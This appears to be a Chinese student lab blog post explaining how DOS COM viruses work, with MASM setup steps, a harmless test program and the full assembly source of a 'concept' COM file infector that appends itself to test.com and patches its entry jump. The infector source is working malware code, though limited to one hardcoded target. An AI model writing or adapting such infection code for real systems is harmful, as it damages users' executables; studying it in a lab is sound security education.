• COM病毒实验原理


    0×01 实验内容

    编译生成com病毒,用com病毒对测试文件进行感染。
    
    • 1

    0×02 实验目的

    了解COM病毒的原理,掌握COM病毒的分析及其修改过程。
    
    • 1

    0×03 实验原理

    COM文件是一种单段执行结构的文件,其执行文件代码和执行时内存映像完全相同,起始执行偏移地址为100H,对应于文件的偏移00H(文件头)。
    
    • 1

    0×04 实验步骤

    进入目录C:\tools\asm20125目录 双击“setup”运行MASM的安装程序 按安装提示点击“下一步”执行安装程序
    进入如教材图7所示,点击“安装”,即可安装MASM 此时在桌面生成了MASM的快捷方式 MASM的运行界面

    将代码窗口中的代码删除,并粘贴如下代码:

    program segment
    assume cs:program,ds:program,ss:program,es:program
    org 0100h
    MOV AX,SEG MESSAGE
    MOV DS,AX
    MOV DX,offset message
    MOV AH,09h
    INT 21h
    MOV AH,4Ch
    INT 21h
    RET
    message db "This a simple com program for a test",0dh,0ah,'$'
    program ends
    END
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    点击菜单栏的“保存”,将文件命名为test.asm并保存在名为test的文件夹中 点击运行,运行test.asm

    test.asm的正常运行界面
    点击新建,在新建工程的代码窗口中删除原有代码,并粘贴如下代码:

    CSEG SEGMENT
    ASSUME CS:CSEG,DS:CSEG,SS:CSEG,ES:CSEG
       org 0100h
    start:
    NOP
    NOP
    NOP
    NOP
    CALL main
    MOV AX,04c00h
    INT 21h
    RET
    main PROC NEAR
    mainstart:CALL vstart
    vstart:
    POP SI
    MOV BP,SI
    ADD SI,OFFSET yuan4byte-OFFSET vstart
    MOV AX,0100H
    MOV DI,AX
    MOV AX,DS:[SI]
    MOV AX,CS
    MOV DS,AX
    MOV DS:[DI],AX
    INC SI
    INC SI
    INC DI
    INC DI
    MOV AX,DS:[SI]
    MOV DS:[DI],AX
    MOV SI,BP
    MOV DX,OFFSET filename-OFFSET vstart
    ADD DX,SI
    MOV AL,02
    MOV AH,3dh
    INT 21h
    JC error
    MOV BX,AX
    MOV DX,OFFSET yuan4byte-OFFSET vstart
    ADD DX,SI
    MOV CX,4
    MOV AH,3Fh
    INT 21h
    MOV AX,04202h
    XOR CX,CX
    XOR DX,DX
    INT 21h
    MOV DI,OFFSET new4byte-OFFSET vstart
    ADD DI,2
    ADD DI,SI
    SUB AX,4
    MOV DS:[DI],AX
    ADD SI,OFFSET mainstart-OFFSET vstart
    MOV DX,SI
    MOV CX,OFFSET vends-OFFSET mainstart
    MOV AH,40h
    INT 21h
    MOV SI,BP
    MOV AL,0
    XOR CX,CX
    XOR DX,DX
    MOV AH,42h
    INT 21h
    MOV AH,40h
    MOV CX,4
    MOV DX,OFFSET new4byte-OFFSET vstart
    ADD DX,SI
    INT 21h
    MOV AH,3Eh
    INT 21h
    
    MOV SI,BP
    ADD SI,OFFSET sz_message-OFFSET vstart
    MOV DX,SI
    MOV AH,09h
    INT 21h
    
    
    JMP error
    jmp MEND
    DEC BP
    error:
    MOV CX,DS:WORD PTR[BP+OFFSET vflag-OFFSET vstart]
    CMP CX,0
    JE MEND
    
    MOV AX,100h
    PUSH AX
    RET
    MEND:
    MOV DS:BYTE PTR [BP+OFFSET vflag-OFFSET vstart],1
    MOV AX,100h
    PUSH AX
    RET
    main ENDP
    yuan4byte:RET
    DB 3 DUP(?)
    vflag DW 0
    new4byte DB 'M','0e9h',0,0
    filename DB "test.com",0
    sz_message DB "You are infected by a concept com virus",0dh,0ah,'$'
    vends:
    CSEG ENDS
     END
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104

    将代码保存为virus.asm,并通test.asm一样保存在test文件夹中,
    点击使之运行,可出现如教材图17所示界面,并在test文件夹中生成了virus的可执行程序

    双击virus.exe使之运行,在没有test.com文件的情况下 将test文件夹中的test.asm文件改名为test.com文件
    运行virus.exe,如教材图21所示,则可发现病毒正感染test.com文件

    0×05 实验笔记

    打开MASM程序将界面代码删除,粘贴第一段DOS汇编语言代码,保存为test.asm并保存至test文件夹中,点击运行此程序,发现是窗口
    按回车即可退出此程序。

    接着将第一段代码删除,粘贴第二段代码,保存为virus.asm文件并保存到test文件夹中。

    打开test文件夹,发现已经自动生成了virus的exe、lst、obj三种格式文件。
    双击virus.exe文件使之运行,发现是空白窗口,将test.asm文件修改为test.com文件,再次运行virus.exe文件

    弹出窗口: You are infected by a concept com virus 并且一直循环

    这段话意思是: 你被一种概念com通讯病毒感染了 达到一定时间就开始全窗口出现😊表情

    用到的工具MASM

  • 相关阅读:
    Spring整合RabbitMQ-配制文件方式-3-消息拉模式
    《持续交付:发布可靠软件的系统方法》- 读书笔记(七)
    什么是FOF,什么是信托
    STM32F4X SDIO(一) SD卡介绍
    在中国可以使用 HubSpot 吗?
    VisualStudio配置OpenCV环境
    AM@有理函数的积分@有理分式积分
    MySQL查看数据库状态命令详解
    服装店如何利用好积分?
    Qt的环境变量处理与程序发布之间的关系
  • 原文地址:https://blog.csdn.net/m0_73734159/article/details/134492041